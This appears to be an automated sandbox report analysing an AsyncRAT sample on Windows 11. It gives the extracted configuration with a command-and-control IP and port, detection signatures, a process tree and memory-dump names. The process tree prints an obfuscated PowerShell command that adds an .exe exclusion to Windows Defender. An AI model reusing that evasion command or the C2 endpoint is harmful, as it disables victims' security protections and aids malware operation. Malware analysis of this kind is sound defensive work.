Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
29/10/2026, 03:54
General
- Target 2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe
- Size 3.3MB
- Sample261029-ef6ynag17v
- SHA256 fe4de0fd380724f99aafe701b01c58477b5a883212388c9b77f1fa77e00b66a6
Malware Config
Extracted
-
asyncrat
-
AWS | 3Losh
-
Default
-
160.119.69.55:443
-
PROTONVPNCC3
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Async RAT payload 1 IoCs
- Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 2 IoCs
- Detects file containing reversed ASEP Autorun registry keys 2 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe"1⤵
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exeC:\Users\Admin\AppData\Local\Temp\2026-10-28_e38a39b0867e24eedebe63828cf3f251_cobalt-strike_icedid_njrat_satacom_vidar.exe None2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\MSBuild.exe"C:\Windows\Temp\MSBuild.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function John { [char]$args[0] };$MrJohnWick = 10;$Wick = (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+25)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+60)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+60)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+5)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+37)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+72)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+74)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+62)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+74)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+70)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+59)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61));$MicroSoft = (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+6)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+80)) + (John ($MrJohnWick+$MrJohnWick+$MrJohnWick+$MrJohnWick+61));&($Wick) -ExclusionExtension $MicroSoft -Force1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_g3eleing.3w2.psm1
MSBuild.exe
memory/3504-21-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-4-0x00000211D3C00000-0x00000211D3C22000-memory.dmp
memory/3504-6-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-7-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-8-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-9-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-10-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-11-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-12-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-13-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-14-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-15-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-16-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-20-0x00000211EC400000-0x00000211EC4B2000-memory.dmp
memory/3504-0-0x00007FFF6C81F000-0x00007FFF6C820000-memory.dmp
memory/3504-22-0x00000211EC1C0000-0x00000211EC1CA000-memory.dmp
memory/3504-5-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-24-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-19-0x00000211EC0E0000-0x00000211EC0FE000-memory.dmp
memory/3504-25-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-1-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/3504-29-0x00007FFF6C690000-0x00007FFF6D034000-memory.dmp
memory/4320-28-0x0000000074BC2000-0x0000000074BC3000-memory.dmp
memory/4320-26-0x0000000000B60000-0x0000000000B78000-memory.dmp
memory/4320-30-0x0000000074BC2000-0x0000000074BC3000-memory.dmp
memory/4320-31-0x0000000003060000-0x0000000003076000-memory.dmp
memory/4320-32-0x0000000074BB0000-0x000000007536C000-memory.dmp
memory/4320-33-0x0000000005F50000-0x000000000650A000-memory.dmp
memory/4320-34-0x0000000005B30000-0x0000000005BC2000-memory.dmp
memory/4320-35-0x0000000005770000-0x000000000577A000-memory.dmp
memory/4320-36-0x0000000005E20000-0x0000000005EBC000-memory.dmp
memory/4320-37-0x0000000005C40000-0x0000000005CA6000-memory.dmp
memory/4320-38-0x0000000074BB0000-0x000000007536C000-memory.dmp